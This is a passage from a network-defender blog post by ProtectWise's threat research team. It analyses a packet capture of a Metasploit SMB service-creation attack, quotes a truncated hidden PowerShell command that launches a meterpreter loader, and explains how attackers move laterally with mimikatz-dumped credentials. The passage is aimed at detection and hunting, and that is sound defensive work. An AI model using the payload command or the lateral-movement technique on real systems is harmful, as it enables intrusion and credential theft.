68	2017-10-25 13:18:37.918064	192.168.10.50	46785	192.168.10.31	445	SVCTL	185	StartServiceW request
69	2017-10-25 13:18:37.916615	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 52 bytes
70	2017-10-25 13:18:37.918315	192.168.10.50	46785	192.168.10.31	445	SNB	129	Read AndX Request, FID: 0x4001, 217 bytes at offset 956
71	2017-10-25 13:18:37.923715	192.168.10.31	445	192.168.10.50	46785	SVCTL	158	StartServiceW response
72	2017-10-25 13:18:37.931694	192.168.10.50	46785	192.168.10.31	445	SVCTL	177	DeleteService request
73	2017-10-25 13:18:37.931886	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 44 bytes
74	2017-10-25 13:18:37.938569	192.168.10.50	46785	192.168.10.31	445	SNB	129	Read AndX Request, FID: 0x4001, 961 bytes at offset 634
75	2017-10-25 13:18:37.938601	192.168.10.31	445	192.168.10.50	46785	SVCTL	158	DeleteService response
76	2017-10-25 13:18:37.940804	192.168.10.50	46785	192.168.10.31	445	SVCTL	177	CloseServiceHandle request, (null)
77	2017-10-25 13:18:37.940906	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 44 bytes
78	2017-10-25 13:18:37.942997	192.168.10.50	46785	192.168.10.31	445	SNB	129	Read AndX Request, FID: 0x4001, 698 bytes at offset 816
79	2017-10-25 13:18:37.943829	192.168.10.31	445	192.168.10.50	46785	SVCTL	178	CloseServiceHandle response
229	2017-10-25 13:18:39.153425	192.168.10.50	46785	192.168.10.31	445	SNB	185	Tree Disconnect Request
230	2017-10-25 13:18:39.153552	192.168.10.31	445	192.168.10.50	46785	SNB	185	Tree Disconnect Response

This is the unabridged PCAP and it shows just how efficient this module is at transmitting a payload. You'll notice it makes extensive use of AndX commands. On further inspection, however, you'll see that all of the AndX commands are "No further commands," meaning we're only sending one command. It is possible that the AndXs are used for evasion.

We perform a normal NTLM authentication (1) and then connect to the IPC\$ (2) and ADMIN\$ (3) shares (note that in this case we are connecting to them both simultaneously, unlike the previous two examples). We then attempt to open the PowerShell executable on the remote machine (4). This is metasploit checking for the presence of PowerShell so it doesn't have to send over the PSEXESVC executable, which some solutions may detect as malicious. It successfully finds it (5), connects to the SVCCTL service (6), and then transfers a file over (7). It creates (8) and starts a service (9), then cleans up (10) and disconnects (11). If we inspect the service creation, we can actually see the PowerShell command that spawns a meterpreter loader.

```

v Binary Path Name: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if ([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'system64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessSt
Max Count: 2414
Offset: 0
Actual Count: 2414
Binary Path Name: [truncated]: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if ([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'system64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics

```

Though the command is truncated in wireshark, in the raw packet bytes we can see it is meant to decode and execute shellcode.

Lateral Movement Techniques

So far we've looked at a number of individual examples of potentially malicious behavior over SMB, but we have not looked at any big picture techniques of how attackers might actually traverse a network. There are of course quite a number of potential strategies to this, but one relatively common technique I'd like to focus on is both easy to perform and relatively difficult to detect. Since Windows stores some credentials (either Kerberos tickets or NTLM hashes) in memory for logged on users, an attacker can sometimes gain more valuable credentials by gaining local Admin on a box, dumping the Kerberos tickets or NTLM hashes from memory, and then impersonating that user to move to another machine that they have access to. That process can then potentially be repeated on another machine. This requires only mimikatz and legitimate Windows tools, and so defender knowledge of appropriate machine/user pairings and proper access controls are essential. SMB analysis can also help us in a couple ways. First, inspecting SMB for unusual authentication can give us a hint when something isn't right. If our network uses Kerberos, but we see an NTLM authentication between two machines, something is definitely up. Secondly, a technique like the one above often involves a lot of reconnaissance, because it is essential for attackers to know which users have what permissions and who is logged into what machines. Attackers can sometimes create enumeration noise while trying to figure this out (though enumeration tools do have a number of legitimate uses), and seeing unusual RPC calls related to user permissions, group memberships, or active sessions can sometimes indicate compromise.²³

A good attacker can move almost silently through your network, and even when you are armed with knowledge of SMB, they can sometimes evade detection. Windows Management Instrumentation (WMI) and PowerShell remoting are two techniques that can avoid using SMB altogether and perform some of the same functionality we've discussed.²⁴ No one indicator we've seen in this post indicates malicious behavior on its own, but as with any protocol, a good knowledge of what normal SMB traffic looks like in your network is critical for finding anomalous behavior that might be attacker related. I hope this guide has been a useful introduction and you can use some of the tools you've learned here to begin hunting in your network.²⁵

²³ See <https://www.sixdub.net/?p=591> for an excellent discussion of a similar lateral movement technique.

²⁴ WMI can use RPC over TCP, and powershell remoting can be run over Windows Remote Management (WinRM), which is HTTP based. See <https://technet.microsoft.com/en-us/library/ff700227.aspx> for more details on powershell remoting.

²⁵ <http://www.harmj0y.net/blog/> is a fantastic resource to begin expanding your knowledge of Active Directory attack techniques. <http://adsecurity.org/> is another excellent source.

About 401TRG

401TRG (Threat Research Group) is the Threat Research & Analysis Team at ProtectWise. Using our experience and background in incident response and network forensics in both the public and private sectors, we study ProtectWise's extensive network-oriented datasets. This work is focused around network traffic analysis, reverse engineering malware, building behavioral detections, and much more. Now we are sharing our knowledge and intelligence discoveries with fellow network defenders and information security professionals to strengthen the community as a whole.

©2017 ProtectWise, Inc. All rights reserved.